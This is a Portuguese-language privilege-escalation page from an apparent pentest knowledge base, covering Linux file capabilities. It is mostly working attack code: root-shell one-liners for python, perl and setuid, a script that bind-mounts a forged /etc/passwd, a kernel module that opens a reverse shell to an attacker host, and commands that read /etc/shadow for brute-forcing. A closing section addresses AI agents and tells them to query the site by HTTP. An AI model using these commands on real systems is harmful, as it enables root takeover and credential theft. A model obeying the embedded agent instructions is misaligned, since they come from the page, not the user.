# Capabilities

Os recursos do Linux são usados para permitir que binários (executados por usuários comuns) realizem operações privilegiadas sem fornecer a eles todas as permissões de root.

Isso é diferente de SUID, prova disso que é um `ls -lh` não irá te trazer nenhuma dica de vulnerabilidade. Para isso, usamos o `getcap`, como descrito logo a seguir.

Os tipo de Capabilities são:

| **CAPABILITIES** | **TIPO**  |
| ---------------- | --------- |
| `CapInh`         | Inherited |
| `CapPrm`         | Permitted |
| `CapEff`         | Effective |
| `CapBnd`         | Bind      |
| `CapAmb`         | Ambient   |

###

### Verificando Capabilities

Exibindo o Capabilities do bash atual. Verifique em `Current: =`

```bash
capsh --print
```

Outra maneira de verificar, é executando seguinte comando:

```bash
grep Cap /proc/$BASHPID/status

# Utilize o saída do comando acima para utilizar embaixo
capsh --decode=<valor_de_Cap***>
```

Podemos também, pesquisar por arquivos no SO que possuem permissões.

```
getcap -r / 2>/dev/null
```

####

### Python

#### cap\_setgid+ep

Procurando por binários vulneráveis

```bash
getcap -r / 2>/dev/null
```

Resultado de binário vulnerável, onde é possível acessar o python com o usuários atual, porém adicioando as permissões do grupo root.

```bash
/usr/bin/python2.7 = cap_setgid+ep
```

Para explorar, basta executar o comando abaixo. Atente-se ao `0` que foi passado como parâmetro em `os.setgid()`, que o número correspondente ao grupo root. Para ver os grupos disoníveis no SO, leia o arquivo `/etc/group` e verifique o número correspondenet ao grupo que queira personificar. É sempre bom, pegar o grupo `shadow` e assim, ler o conteúdo do arquivo `/etc/shadow` para poder então, realizar um ataque de brute force.

```bash
/usr/bin/python2.7 -c 'import os; os.setgid(0); os.system("/bin/bash")'
```

####

#### cap\_sys\_admin+ep

Procurando por binários vulneráveis

```bash
getcap -r / 2>/dev/null
```

Resultado de binário vulnerável, onde é possível acessar o python com usuário root para realizar leitura e escrita de arquivos

```bash
/usr/bin/python2.7 = cap_sys_admin+ep
```

Agora é necessário fazer uma cópia do arquivo `/etc/passwd`, e alterar o hash do usuário root:

```bash
# Copiando arquivo
cp /etc/passwd .
# Gerando hash
openssl passwd -1 -salt abc <pass>
# Modificando hash do root no arquivo copiado
vim passwd
```

Agora vamos criar um arquivo chamado `xpl.py`, com o seguinte conteúdo (altere o valor da variável `source` ):

```bash
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"</path/to/fake/passwd>"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
```

Agora basta executar o script e depois acessar o usuário root com a senha definida anteriormente.

```bash
/usr/bin/python2.7 xpl.py
su root
```

#### cap\_setuid / cap\_net\_bind\_service+eip

Deixando o arquivo vulnerável.

```bash
sudo setcap cap_setuid+ep $(which python3)
```

Agora ao executar o comando `get -r / 2>/dev/null`, devemos ter algo parecido com a saída abaixo:

```bash
/usr/bin/python3 = cap_setuid,cap_net_bind_service+eip
```

Pegando bash com permissão root.

```bash
$(which python3) -c 'import os ; os.setuid(0) ; os.system("/bin/bash")'
```

#### cap\_sys\_module

Verifique se o arquivo python está com `cap_sys_module+ep` ativo.

```bash
getcap $(which python)
```

Caso positivo, verifique se o python possui o `kmod`.

```bash
python -c 'help("modules")' | grep "kmod"
```

Se estiver tudo ok até aqui, execute os seguintes comandos:

```bash
mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/
```

Crie um arquivo chamado `reverse-shell.c` com o seguinte conteúdo:

```c
#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<ip>/<port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
	return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
	printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
```

Crie outro, dessa vez com o nome `Makefile`.

```c
obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
```

E então, execute no terminal:

```c
make
cp reverse-shell.ko lib/modules/5.0.0-20-generic/
depmod -a -b ./
```

Agora crie um arquivo chamado `insert-kernel-module.py` com o seguinte conteúdo:

```python
import kmod
km=kmod.Kmod()
km.set_mod_dir("/home/student/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")
```

No host atacante deixe o nc no modo listener para receber a conexão.

```c
nc -nvlp <port>
```

E por último, no host alvo, execute:

```bash
python insert-kernel-module.py
```

#### cap\_dac\_read\_search+ep

Listando arquivo de um diretório

```bash
import os
for r, d, f in os.walk('/root'):
    for filename in f:
        print(filename)
```

Lendo conteúdo de um arquivo

```bash
/path/to/python3 -c 'print(open("/etc/shadow", "r").read())'
```

### tcpdump

Deixando o arquivo vulnerável.

```bash
sudo setcap 'cap_net_raw+ep' $(which tcpdump)
```

Agora basta utilizar o tcpdump normalmente.

```bash
$(which tcpdump) -i <interface>
```

### tar

Primeiro verifique o Capability do tar.

```bash
getcap $(which tar)
```

Caso tenha o cap `cap_dac_read_search+ep`, é possível utilizar para comprimir e descomprimir qualquer arquivo.

```bash
$(which tar) cvf shadow.tar /etc/shadow
$(which tar) -xvf shadow.tar
```

### perl

```bash
/usr/bin/perl5.26.1 = cap_setuid+ep
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
```

### x86\_64-linux-gnu-ld.bfd

Procurando por binários vulneráveis

```bash
getcap -r / 2>/dev/null
```

Resultado

```bash
/usr/bin/x86_64-linux-gnu-ld.bfd = cap_dac_override+ep
```

Copiando `/etc/shadow` para o diretório atual

```bash
/usr/bin/x86_64-linux-gnu-ld.bfd -r -b binary /etc/shadow -o shadow.o
```

Lendo conteúdo de /etc/shadow

```bash
xxd shadow.o
```

### CAP\_SETUID

```bash
import os
import prctl
# Add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")
```

####


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/linux/privilege-escalation/capabilities.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.